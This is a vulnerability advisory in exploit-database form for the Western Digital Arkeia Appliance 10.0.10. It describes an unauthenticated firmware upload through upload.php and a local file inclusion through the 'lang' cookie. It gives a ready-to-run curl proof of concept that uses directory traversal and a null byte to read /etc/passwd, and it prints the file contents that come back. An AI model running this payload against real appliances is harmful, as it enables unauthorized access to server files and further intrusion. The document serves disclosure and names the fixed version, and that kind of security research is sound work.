Western Digital Arkeia Appliance 10.0.10 - Multiple Vulnerabilities

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# Exploit Title: Western Digital Arkeia Appliance v10.0.10
# Date: Sep 17 2013
# Exploit Author: xistence < xistence[at]0x90[.]nl >
# Vendor Homepage: www.arkeia.com
# Tested on: Virtual Appliance - ESXi 5.1
# Affected Version : v10.0.10 and lower
# Link: ftp://ftp.arkeia.com/arkeia-virtual-appliance/vmware-virtual-appliance/full-virtual-appliance/arkeia_virtual_appliance-10.0.10.zip
# Fix: Upgrade to version 10.1.10
#
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Arkeia Appliance v10.0.10 is prone to 2 security vulnerabilties:

1) Unauthenticated firmware upload

There are no restrictions when a POST request is send to http://<IP>/scripts/upload.php thus allowing any
unauthenticated client to upload any data to the /tmp/ApplianceUpdate file.

2) Local File Inclusion (LFI) vulnerability in the cookie "lang="

By sending a request (without the need for authentication) to the homepage of the appliance with a cookie "lang=../../../../../../../../../../../../../../../../etc/passwd%00",
it's possible to read files on the server, in this example /etc/passwd.

Proof of Concept
Run the following command:
curl --cookie "lang=../../../../../../../../../../../../../../../../etc/passwd%00" http://<IP>/

Which will return the /etc/passwd:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
[..snip..]